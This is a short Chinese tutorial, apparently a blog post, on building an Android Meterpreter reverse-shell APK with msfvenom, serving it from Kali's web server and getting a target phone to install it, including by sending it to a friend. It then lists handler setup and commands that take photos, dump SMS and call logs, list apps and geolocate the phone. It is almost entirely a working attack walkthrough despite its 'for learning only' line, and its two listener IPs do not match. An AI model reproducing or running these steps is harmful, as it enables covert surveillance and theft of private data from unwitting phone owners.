kali控制安卓（拍照、通讯录、GPS等）

只是感觉挺有趣的就学了一下并分享出来，仅供学习使用 1.生成apk（目标手机安装）

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.176 LPORT=8888 R > tst.apk

注意：ip地址是kali的，不是目标手机的 2.开启kali自带的web服务器

sudo service apache2 start

3.将apk拷贝到服务器根目录

sudo cp tst.apk /var/www/html

4.目标手机下载安装txt.apk 方法一：目标手机直接在网址栏输入kali ip，会自动下载安装apk 方法二：直接ls找到apk文件，复制后发送给好友，好友点击下载安装 5.设置监听会话，启动msfconsole渗透利用框架程序

msfconsole

6.使用一个模块在kali设置一个监听的程序

use multi/handler

7.设置载荷

set payload android/meterpreter/reverse_tcp

8.看一下该载荷需要设置什么参数

show options

9.设置参数

set LHOST 192.168.1.127 set LPORT 8888

10.执行监听端程序

run

11.目标手机运行这个程序后

获取目标手机信息：

1.获取手机系统信息

sysinfo

2.获取手机安装的哪些软件

app_list

3.目标手机拍照并回显

webcam_snap

4.目标手机信息

dump_sms

5.获得目标手机通讯录

dump_calllog

6.GPS定位目标手机

geolocate